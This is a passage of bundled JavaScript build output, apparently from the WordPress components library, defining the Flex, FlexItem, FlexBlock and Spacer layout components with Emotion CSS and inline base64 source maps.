19 */",
23596 toString: _EMOTION_STRINGIFIED_CSS_ERROR__2
23597 };
23598 var Item = false ? {
23599 name: "qgaee5",
23600 styles: "display:block;max-height:100%;max-width:100%;min-height:0;min-width:0"
23601 } : {
23602 name: "14ac8g8-Item",
23603 styles: "display:block;max-height:100%;max-width:100%;min-height:0;min-width:0;label:Item;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFTdUIiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG5leHBvcnQgY29uc3QgRmxleCA9IGNzc2Bcblx0ZGlzcGxheTogZmxleDtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtID0gY3NzYFxuXHRkaXNwbGF5OiBibG9jaztcblx0bWF4LWhlaWdodDogMTAwJTtcblx0bWF4LXdpZHRoOiAxMDAlO1xuXHRtaW4taGVpZ2h0OiAwO1xuXHRtaW4td2lkdGg6IDA7XG5gO1xuXG5leHBvcnQgY29uc3QgYmxvY2sgPSBjc3NgXG5cdGZsZXg6IDE7XG5gO1xuXG4vKipcbiAqIFdvcmthcm91bmQgdG8gb3B0aW1pemUgRE9NIHJlbmRlcmluZy5cbiAqIFdlJ2xsIGVuaGFuY2UgYWxpZ25tZW50IHdpdGggbmFpdmUgcGFyZW50IGZsZXggYXNzdW1wdGlvbnMuXG4gKlxuICogVHJhZGUtb2ZmOlxuICogRmFyIGxlc3MgRE9NIGxlc3MuIEhvd2V2ZXIsIFVJIHJlbmRlcmluZyBpcyBub3QgYXMgcmVsaWFibGUuXG4gKi9cblxuLyoqXG4gKiBJbXByb3ZlcyBzdGFiaWxpdHkgb2Ygd2lkdGgvaGVpZ2h0IHJlbmRlcmluZy5cbiAqIGh0dHBzOi8vZ2l0aHViLmNvbS9JdHNKb25RL2cyL3B1bGwvMTQ5XG4gKi9cbmV4cG9ydCBjb25zdCBJdGVtc0NvbHVtbiA9IGNzc2Bcblx0PiAqIHtcblx0XHRtaW4taGVpZ2h0OiAwO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbXNSb3cgPSBjc3NgXG5cdD4gKiB7XG5cdFx0bWluLXdpZHRoOiAwO1xuXHR9XG5gO1xuIl19 */",
23604 toString: _EMOTION_STRINGIFIED_CSS_ERROR__2
23605 };
23606 var block = false ? {
23607 name: "82a6rk",
23608 styles: "flex:1"
23609 } : {
23610 name: "1ya6i3g-block",
23611 styles: "flex:1;label:block;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFpQndCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuZXhwb3J0IGNvbnN0IEZsZXggPSBjc3NgXG5cdGRpc3BsYXk6IGZsZXg7XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbSA9IGNzc2Bcblx0ZGlzcGxheTogYmxvY2s7XG5cdG1heC1oZWlnaHQ6IDEwMCU7XG5cdG1heC13aWR0aDogMTAwJTtcblx0bWluLWhlaWdodDogMDtcblx0bWluLXdpZHRoOiAwO1xuYDtcblxuZXhwb3J0IGNvbnN0IGJsb2NrID0gY3NzYFxuXHRmbGV4OiAxO1xuYDtcblxuLyoqXG4gKiBXb3JrYXJvdW5kIHRvIG9wdGltaXplIERPTSByZW5kZXJpbmcuXG4gKiBXZSdsbCBlbmhhbmNlIGFsaWdubWVudCB3aXRoIG5haXZlIHBhcmVudCBmbGV4IGFzc3VtcHRpb25zLlxuICpcbiAqIFRyYWRlLW9mZjpcbiAqIEZhciBsZXNzIERPTSBsZXNzLiBIb3dldmVyLCBVSSByZW5kZXJpbmcgaXMgbm90IGFzIHJlbGlhYmxlLlxuICovXG5cbi8qKlxuICogSW1wcm92ZXMgc3RhYmlsaXR5IG9mIHdpZHRoL2hlaWdodCByZW5kZXJpbmcuXG4gKiBodHRwczovL2dpdGh1Yi5jb20vSXRzSm9uUS9nMi9wdWxsLzE0OVxuICovXG5leHBvcnQgY29uc3QgSXRlbXNDb2x1bW4gPSBjc3NgXG5cdD4gKiB7XG5cdFx0bWluLWhlaWdodDogMDtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IEl0ZW1zUm93ID0gY3NzYFxuXHQ+ICoge1xuXHRcdG1pbi13aWR0aDogMDtcblx0fVxuYDtcbiJdfQ== */",
23612 toString: _EMOTION_STRINGIFIED_CSS_ERROR__2
23613 };
23614 var ItemsColumn = false ? {
23615 name: "13nosa1",
23616 styles: ">*{min-height:0;}"
23617 } : {
23618 name: "9k4k7f-ItemsColumn",
23619 styles: ">*{min-height:0;};label:ItemsColumn;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFpQzhCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuZXhwb3J0IGNvbnN0IEZsZXggPSBjc3NgXG5cdGRpc3BsYXk6IGZsZXg7XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbSA9IGNzc2Bcblx0ZGlzcGxheTogYmxvY2s7XG5cdG1heC1oZWlnaHQ6IDEwMCU7XG5cdG1heC13aWR0aDogMTAwJTtcblx0bWluLWhlaWdodDogMDtcblx0bWluLXdpZHRoOiAwO1xuYDtcblxuZXhwb3J0IGNvbnN0IGJsb2NrID0gY3NzYFxuXHRmbGV4OiAxO1xuYDtcblxuLyoqXG4gKiBXb3JrYXJvdW5kIHRvIG9wdGltaXplIERPTSByZW5kZXJpbmcuXG4gKiBXZSdsbCBlbmhhbmNlIGFsaWdubWVudCB3aXRoIG5haXZlIHBhcmVudCBmbGV4IGFzc3VtcHRpb25zLlxuICpcbiAqIFRyYWRlLW9mZjpcbiAqIEZhciBsZXNzIERPTSBsZXNzLiBIb3dldmVyLCBVSSByZW5kZXJpbmcgaXMgbm90IGFzIHJlbGlhYmxlLlxuICovXG5cbi8qKlxuICogSW1wcm92ZXMgc3RhYmlsaXR5IG9mIHdpZHRoL2hlaWdodCByZW5kZXJpbmcuXG4gKiBodHRwczovL2dpdGh1Yi5jb20vSXRzSm9uUS9nMi9wdWxsLzE0OVxuICovXG5leHBvcnQgY29uc3QgSXRlbXNDb2x1bW4gPSBjc3NgXG5cdD4gKiB7XG5cdFx0bWluLWhlaWdodDogMDtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IEl0ZW1zUm93ID0gY3NzYFxuXHQ+ICoge1xuXHRcdG1pbi13aWR0aDogMDtcblx0fVxuYDtcbiJdfQ== */",
23620 toString: _EMOTION_STRINGIFIED_CSS_ERROR__2
23621 };
23622 var ItemsRow = false ? {
23623 name: "1pwxzk4",
23624 styles: ">*{min-width:0;}"
23625 } : {
23626 name: "1ozeagb-ItemsRow",
23627 styles: ">*{min-width:0;};label:ItemsRow;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF1QzJCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuZXhwb3J0IGNvbnN0IEZsZXggPSBjc3NgXG5cdGRpc3BsYXk6IGZsZXg7XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbSA9IGNzc2Bcblx0ZGlzcGxheTogYmxvY2s7XG5cdG1heC1oZWlnaHQ6IDEwMCU7XG5cdG1heC13aWR0aDogMTAwJTtcblx0bWluLWhlaWdodDogMDtcblx0bWluLXdpZHRoOiAwO1xuYDtcblxuZXhwb3J0IGNvbnN0IGJsb2NrID0gY3NzYFxuXHRmbGV4OiAxO1xuYDtcblxuLyoqXG4gKiBXb3JrYXJvdW5kIHRvIG9wdGltaXplIERPTSByZW5kZXJpbmcuXG4gKiBXZSdsbCBlbmhhbmNlIGFsaWdubWVudCB3aXRoIG5haXZlIHBhcmVudCBmbGV4IGFzc3VtcHRpb25zLlxuICpcbiAqIFRyYWRlLW9mZjpcbiAqIEZhciBsZXNzIERPTSBsZXNzLiBIb3dldmVyLCBVSSByZW5kZXJpbmcgaXMgbm90IGFzIHJlbGlhYmxlLlxuICovXG5cbi8qKlxuICogSW1wcm92ZXMgc3RhYmlsaXR5IG9mIHdpZHRoL2hlaWdodCByZW5kZXJpbmcuXG4gKiBodHRwczovL2dpdGh1Yi5jb20vSXRzSm9uUS9nMi9wdWxsLzE0OVxuICovXG5leHBvcnQgY29uc3QgSXRlbXNDb2x1bW4gPSBjc3NgXG5cdD4gKiB7XG5cdFx0bWluLWhlaWdodDogMDtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IEl0ZW1zUm93ID0gY3NzYFxuXHQ+ICoge1xuXHRcdG1pbi13aWR0aDogMDtcblx0fVxuYDtcbiJdfQ== */",
23628 toString: _EMOTION_STRINGIFIED_CSS_ERROR__2
23629 };
23630
23631 // packages/components/build-module/flex/flex/hook.mjs
23632 function useDeprecatedProps(props) {
23633 const {
23634 isReversed,
23635 ...otherProps
23636 } = props;
23637 if (typeof isReversed !== "undefined") {
23638 (0, import_deprecated2.default)("Flex isReversed", {
23639 alternative: 'Flex direction="row-reverse" or "column-reverse"',
23640 since: "5.9"
23641 });
23642 return {
23643 ...otherProps,
23644 direction: isReversed ? "row-reverse" : "row"
23645 };
23646 }
23647 return otherProps;
23648 }
23649 function useFlex(props) {
23650 const {
23651 align,
23652 className: className2,
23653 direction: directionProp = "row",
23654 expanded = true,
23655 gap = 2,
23656 justify = "space-between",
23657 wrap = false,
23658 ...otherProps
23659 } = useContextSystem(useDeprecatedProps(props), "Flex");
23660 const directionAsArray = Array.isArray(directionProp) ? directionProp : [directionProp];
23661 const direction = useResponsiveValue(directionAsArray);
23662 const isColumn = typeof direction === "string" && !!direction.includes("column");
23663 const cx3 = useCx();
23664 const classes = (0, import_element20.useMemo)(() => {
23665 const base = /* @__PURE__ */ css({
23666 alignItems: align ?? (isColumn ? "normal" : "center"),
23667 flexDirection: direction,
23668 flexWrap: wrap ? "wrap" : void 0,
23669 gap: space(gap),
23670 justifyContent: justify,
23671 height: isColumn && expanded ? "100%" : void 0,
23672 width: !isColumn && expanded ? "100%" : void 0
23673 }, false ? "" : ";label:base;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBZ0VlIiwiZmlsZSI6Imhvb2sudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogV29yZFByZXNzIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyB1c2VNZW1vIH0gZnJvbSAnQHdvcmRwcmVzcy9lbGVtZW50JztcbmltcG9ydCBkZXByZWNhdGVkIGZyb20gJ0B3b3JkcHJlc3MvZGVwcmVjYXRlZCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi8uLi9jb250ZXh0JztcbmltcG9ydCB7IHVzZUNvbnRleHRTeXN0ZW0gfSBmcm9tICcuLi8uLi9jb250ZXh0JztcbmltcG9ydCB7IHVzZVJlc3BvbnNpdmVWYWx1ZSB9IGZyb20gJy4uLy4uL3V0aWxzL3VzZS1yZXNwb25zaXZlLXZhbHVlJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0ICogYXMgc3R5bGVzIGZyb20gJy4uL3N0eWxlcyc7XG5pbXBvcnQgeyB1c2VDeCB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgRmxleFByb3BzIH0gZnJvbSAnLi4vdHlwZXMnO1xuXG5mdW5jdGlvbiB1c2VEZXByZWNhdGVkUHJvcHMoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczwgRmxleFByb3BzLCAnZGl2JyA+XG4pOiBPbWl0PCB0eXBlb2YgcHJvcHMsICdpc1JldmVyc2VkJyA+IHtcblx0Y29uc3QgeyBpc1JldmVyc2VkLCAuLi5vdGhlclByb3BzIH0gPSBwcm9wcztcblxuXHRpZiAoIHR5cGVvZiBpc1JldmVyc2VkICE9PSAndW5kZWZpbmVkJyApIHtcblx0XHRkZXByZWNhdGVkKCAnRmxleCBpc1JldmVyc2VkJywge1xuXHRcdFx0YWx0ZXJuYXRpdmU6ICdGbGV4IGRpcmVjdGlvbj1cInJvdy1yZXZlcnNlXCIgb3IgXCJjb2x1bW4tcmV2ZXJzZVwiJyxcblx0XHRcdHNpbmNlOiAnNS45Jyxcblx0XHR9ICk7XG5cdFx0cmV0dXJuIHtcblx0XHRcdC4uLm90aGVyUHJvcHMsXG5cdFx0XHRkaXJlY3Rpb246IGlzUmV2ZXJzZWQgPyAncm93LXJldmVyc2UnIDogJ3JvdycsXG5cdFx0fTtcblx0fVxuXG5cdHJldHVybiBvdGhlclByb3BzO1xufVxuXG5leHBvcnQgZnVuY3Rpb24gdXNlRmxleCggcHJvcHM6IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzPCBGbGV4UHJvcHMsICdkaXYnID4gKSB7XG5cdGNvbnN0IHtcblx0XHRhbGlnbixcblx0XHRjbGFzc05hbWUsXG5cdFx0ZGlyZWN0aW9uOiBkaXJlY3Rpb25Qcm9wID0gJ3JvdycsXG5cdFx0ZXhwYW5kZWQgPSB0cnVlLFxuXHRcdGdhcCA9IDIsXG5cdFx0anVzdGlmeSA9ICdzcGFjZS1iZXR3ZWVuJyxcblx0XHR3cmFwID0gZmFsc2UsXG5cdFx0Li4ub3RoZXJQcm9wc1xuXHR9ID0gdXNlQ29udGV4dFN5c3RlbSggdXNlRGVwcmVjYXRlZFByb3BzKCBwcm9wcyApLCAnRmxleCcgKTtcblxuXHRjb25zdCBkaXJlY3Rpb25Bc0FycmF5ID0gQXJyYXkuaXNBcnJheSggZGlyZWN0aW9uUHJvcCApXG5cdFx0PyBkaXJlY3Rpb25Qcm9wXG5cdFx0OiBbIGRpcmVjdGlvblByb3AgXTtcblx0Y29uc3QgZGlyZWN0aW9uID0gdXNlUmVzcG9uc2l2ZVZhbHVlKCBkaXJlY3Rpb25Bc0FycmF5ICk7XG5cblx0Y29uc3QgaXNDb2x1bW4gPVxuXHRcdHR5cGVvZiBkaXJlY3Rpb24gPT09ICdzdHJpbmcnICYmICEhIGRpcmVjdGlvbi5pbmNsdWRlcyggJ2NvbHVtbicgKTtcblxuXHRjb25zdCBjeCA9IHVzZUN4KCk7XG5cblx0Y29uc3QgY2xhc3NlcyA9IHVzZU1lbW8oICgpID0+IHtcblx0XHRjb25zdCBiYXNlID0gY3NzKCB7XG5cdFx0XHRhbGlnbkl0ZW1zOiBhbGlnbiA/PyAoIGlzQ29sdW1uID8gJ25vcm1hbCcgOiAnY2VudGVyJyApLFxuXHRcdFx0ZmxleERpcmVjdGlvbjogZGlyZWN0aW9uLFxuXHRcdFx0ZmxleFdyYXA6IHdyYXAgPyAnd3JhcCcgOiB1bmRlZmluZWQsXG5cdFx0XHRnYXA6IHNwYWNlKCBnYXAgKSxcblx0XHRcdGp1c3RpZnlDb250ZW50OiBqdXN0aWZ5LFxuXHRcdFx0aGVpZ2h0OiBpc0NvbHVtbiAmJiBleHBhbmRlZCA/ICcxMDAlJyA6IHVuZGVmaW5lZCxcblx0XHRcdHdpZHRoOiAhIGlzQ29sdW1uICYmIGV4cGFuZGVkID8gJzEwMCUnIDogdW5kZWZpbmVkLFxuXHRcdH0gKTtcblxuXHRcdHJldHVybiBjeChcblx0XHRcdHN0eWxlcy5GbGV4LFxuXHRcdFx0YmFzZSxcblx0XHRcdGlzQ29sdW1uID8gc3R5bGVzLkl0ZW1zQ29sdW1uIDogc3R5bGVzLkl0ZW1zUm93LFxuXHRcdFx0Y2xhc3NOYW1lXG5cdFx0KTtcblx0fSwgW1xuXHRcdGFsaWduLFxuXHRcdGNsYXNzTmFtZSxcblx0XHRjeCxcblx0XHRkaXJlY3Rpb24sXG5cdFx0ZXhwYW5kZWQsXG5cdFx0Z2FwLFxuXHRcdGlzQ29sdW1uLFxuXHRcdGp1c3RpZnksXG5cdFx0d3JhcCxcblx0XSApO1xuXG5cdHJldHVybiB7IC4uLm90aGVyUHJvcHMsIGNsYXNzTmFtZTogY2xhc3NlcywgaXNDb2x1bW4gfTtcbn1cbiJdfQ== */");
23674 return cx3(Flex, base, isColumn ? ItemsColumn : ItemsRow, className2);
23675 }, [align, className2, cx3, direction, expanded, gap, isColumn, justify, wrap]);
23676 return {
23677 ...otherProps,
23678 className: classes,
23679 isColumn
23680 };
23681 }
23682
23683 // packages/components/build-module/flex/context.mjs
23684 var import_element21 = __toESM(require_element(), 1);
23685 var FlexContext = (0, import_element21.createContext)({
23686 flexItemDisplay: void 0
23687 });
23688 var useFlexContext = () => (0, import_element21.useContext)(FlexContext);
23689
23690 // packages/components/build-module/flex/flex/component.mjs
23691 var import_jsx_runtime51 = __toESM(require_jsx_runtime(), 1);
23692 function UnconnectedFlex(props, forwardedRef) {
23693 const {
23694 children,
23695 isColumn,
23696 ...otherProps
23697 } = useFlex(props);
23698 return /* @__PURE__ */ (0, import_jsx_runtime51.jsx)(FlexContext.Provider, {
23699 value: {
23700 flexItemDisplay: isColumn ? "block" : void 0
23701 },
23702 children: /* @__PURE__ */ (0, import_jsx_runtime51.jsx)(component_default, {
23703 ...otherProps,
23704 ref: forwardedRef,
23705 children
23706 })
23707 });
23708 }
23709 var Flex2 = contextConnect(UnconnectedFlex, "Flex");
23710 var component_default3 = Flex2;
23711
23712 // packages/components/build-module/flex/flex-item/hook.mjs
23713 function useFlexItem(props) {
23714 const {
23715 className: className2,
23716 display: displayProp,
23717 isBlock = false,
23718 ...otherProps
23719 } = useContextSystem(props, "FlexItem");
23720 const sx = {};
23721 const contextDisplay = useFlexContext().flexItemDisplay;
23722 sx.Base = /* @__PURE__ */ css({
23723 display: displayProp || contextDisplay
23724 }, false ? "" : ";label:sx-Base;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBZ0NXIiwiZmlsZSI6Imhvb2sudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgdHlwZSB7IFNlcmlhbGl6ZWRTdHlsZXMgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi8uLi9jb250ZXh0JztcbmltcG9ydCB7IHVzZUNvbnRleHRTeXN0ZW0gfSBmcm9tICcuLi8uLi9jb250ZXh0JztcbmltcG9ydCB7IHVzZUZsZXhDb250ZXh0IH0gZnJvbSAnLi4vY29udGV4dCc7XG5pbXBvcnQgKiBhcyBzdHlsZXMgZnJvbSAnLi4vc3R5bGVzJztcbmltcG9ydCB7IHVzZUN4IH0gZnJvbSAnLi4vLi4vdXRpbHMvaG9va3MvdXNlLWN4JztcbmltcG9ydCB0eXBlIHsgRmxleEl0ZW1Qcm9wcyB9IGZyb20gJy4uL3R5cGVzJztcblxuZXhwb3J0IGZ1bmN0aW9uIHVzZUZsZXhJdGVtKFxuXHRwcm9wczogV29yZFByZXNzQ29tcG9uZW50UHJvcHM8IEZsZXhJdGVtUHJvcHMsICdkaXYnID5cbikge1xuXHRjb25zdCB7XG5cdFx0Y2xhc3NOYW1lLFxuXHRcdGRpc3BsYXk6IGRpc3BsYXlQcm9wLFxuXHRcdGlzQmxvY2sgPSBmYWxzZSxcblx0XHQuLi5vdGhlclByb3BzXG5cdH0gPSB1c2VDb250ZXh0U3lzdGVtKCBwcm9wcywgJ0ZsZXhJdGVtJyApO1xuXG5cdGNvbnN0IHN4OiB7XG5cdFx0QmFzZT86IFNlcmlhbGl6ZWRTdHlsZXM7XG5cdH0gPSB7fTtcblxuXHRjb25zdCBjb250ZXh0RGlzcGxheSA9IHVzZUZsZXhDb250ZXh0KCkuZmxleEl0ZW1EaXNwbGF5O1xuXG5cdHN4LkJhc2UgPSBjc3MoIHtcblx0XHRkaXNwbGF5OiBkaXNwbGF5UHJvcCB8fCBjb250ZXh0RGlzcGxheSxcblx0fSApO1xuXG5cdGNvbnN0IGN4ID0gdXNlQ3goKTtcblxuXHRjb25zdCBjbGFzc2VzID0gY3goXG5cdFx0c3R5bGVzLkl0ZW0sXG5cdFx0c3guQmFzZSxcblx0XHRpc0Jsb2NrICYmIHN0eWxlcy5ibG9jayxcblx0XHRjbGFzc05hbWVcblx0KTtcblxuXHRyZXR1cm4ge1xuXHRcdC4uLm90aGVyUHJvcHMsXG5cdFx0Y2xhc3NOYW1lOiBjbGFzc2VzLFxuXHR9O1xufVxuIl19 */");
23725 const cx3 = useCx();
23726 const classes = cx3(Item, sx.Base, isBlock && block, className2);
23727 return {
23728 ...otherProps,
23729 className: classes
23730 };
23731 }
23732
23733 // packages/components/build-module/flex/flex-item/component.mjs
23734 var import_jsx_runtime52 = __toESM(require_jsx_runtime(), 1);
23735 function UnconnectedFlexItem(props, forwardedRef) {
23736 const flexItemProps = useFlexItem(props);
23737 return /* @__PURE__ */ (0, import_jsx_runtime52.jsx)(component_default, {
23738 ...flexItemProps,
23739 ref: forwardedRef
23740 });
23741 }
23742 var FlexItem = contextConnect(UnconnectedFlexItem, "FlexItem");
23743 var component_default4 = FlexItem;
23744
23745 // packages/components/build-module/flex/flex-block/hook.mjs
23746 function useFlexBlock(props) {
23747 const otherProps = useContextSystem(props, "FlexBlock");
23748 const flexItemProps = useFlexItem({
23749 isBlock: true,
23750 ...otherProps
23751 });
23752 return flexItemProps;
23753 }
23754
23755 // packages/components/build-module/flex/flex-block/component.mjs
23756 var import_jsx_runtime53 = __toESM(require_jsx_runtime(), 1);
23757 function UnconnectedFlexBlock(props, forwardedRef) {
23758 const flexBlockProps = useFlexBlock(props);
23759 return /* @__PURE__ */ (0, import_jsx_runtime53.jsx)(component_default, {
23760 ...flexBlockProps,
23761 ref: forwardedRef
23762 });
23763 }
23764 var FlexBlock = contextConnect(UnconnectedFlexBlock, "FlexBlock");
23765 var component_default5 = FlexBlock;
23766
23767 // packages/components/build-module/spacer/hook.mjs
23768 function isDefined(o4) {
23769 return typeof o4 !== "undefined" && o4 !== null;
23770 }
23771 function useSpacer(props) {
23772 const {
23773 className: className2,
23774 margin,
23775 marginBottom = 2,
23776 marginLeft,
23777 marginRight,
23778 marginTop,
23779 marginX,
23780 marginY,
23781 padding: padding2,
23782 paddingBottom,
23783 paddingLeft,
23784 paddingRight,
23785 paddingTop,
23786 paddingX,
23787 paddingY: paddingY2,
23788 ...otherProps
23789 } = useContextSystem(props, "Spacer");
23790 const cx3 = useCx();
23791 const classes = cx3(isDefined(margin) && /* @__PURE__ */ css("margin:", space(margin), ";" + (false ? "" : ";label:classes;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBNENNIiwiZmlsZSI6Imhvb2sudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHVzZUNvbnRleHRTeXN0ZW0gfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0IHsgcnRsLCB1c2VDeCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgU3BhY2VyUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuZnVuY3Rpb24gaXNEZWZpbmVkPCBUID4oIG86IFQgKTogbyBpcyBFeGNsdWRlPCBULCBudWxsIHwgdW5kZWZpbmVkID4ge1xuXHRyZXR1cm4gdHlwZW9mIG8gIT09ICd1bmRlZmluZWQnICYmIG8gIT09IG51bGw7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiB1c2VTcGFjZXIoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczwgU3BhY2VyUHJvcHMsICdkaXYnID5cbikge1xuXHRjb25zdCB7XG5cdFx0Y2xhc3NOYW1lLFxuXHRcdG1hcmdpbixcblx0XHRtYXJnaW5Cb3R0b20gPSAyLFxuXHRcdG1hcmdpbkxlZnQsXG5cdFx0bWFyZ2luUmlnaHQsXG5cdFx0bWFyZ2luVG9wLFxuXHRcdG1hcmdpblgsXG5cdFx0bWFyZ2luWSxcblx0XHRwYWRkaW5nLFxuXHRcdHBhZGRpbmdCb3R0b20sXG5cdFx0cGFkZGluZ0xlZnQsXG5cdFx0cGFkZGluZ1JpZ2h0LFxuXHRcdHBhZGRpbmdUb3AsXG5cdFx0cGFkZGluZ1gsXG5cdFx0cGFkZGluZ1ksXG5cdFx0Li4ub3RoZXJQcm9wc1xuXHR9ID0gdXNlQ29udGV4dFN5c3RlbSggcHJvcHMsICdTcGFjZXInICk7XG5cblx0Y29uc3QgY3ggPSB1c2VDeCgpO1xuXG5cdGNvbnN0IGNsYXNzZXMgPSBjeChcblx0XHRpc0RlZmluZWQoIG1hcmdpbiApICYmXG5cdFx0XHRjc3NgXG5cdFx0XHRcdG1hcmdpbjogJHsgc3BhY2UoIG1hcmdpbiApIH07XG5cdFx0XHRgLFxuXHRcdGlzRGVmaW5lZCggbWFyZ2luWSApICYmXG5cdFx0XHRjc3NgXG5cdFx0XHRcdG1hcmdpbi1ib3R0b206ICR7IHNwYWNlKCBtYXJnaW5ZICkgfTtcblx0XHRcdFx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIG1hcmdpblkgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIG1hcmdpblggKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tbGVmdDogJHsgc3BhY2UoIG1hcmdpblggKSB9O1xuXHRcdFx0XHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCBtYXJnaW5YICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5Ub3AgKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tdG9wOiAkeyBzcGFjZSggbWFyZ2luVG9wICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5Cb3R0b20gKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tYm90dG9tOiAkeyBzcGFjZSggbWFyZ2luQm90dG9tICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5MZWZ0ICkgJiZcblx0XHRcdHJ0bCgge1xuXHRcdFx0XHRtYXJnaW5MZWZ0OiBzcGFjZSggbWFyZ2luTGVmdCApLFxuXHRcdFx0fSApKCksXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5SaWdodCApICYmXG5cdFx0XHRydGwoIHtcblx0XHRcdFx0bWFyZ2luUmlnaHQ6IHNwYWNlKCBtYXJnaW5SaWdodCApLFxuXHRcdFx0fSApKCksXG5cdFx0aXNEZWZpbmVkKCBwYWRkaW5nICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZzogJHsgc3BhY2UoIHBhZGRpbmcgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdZICkgJiZcblx0XH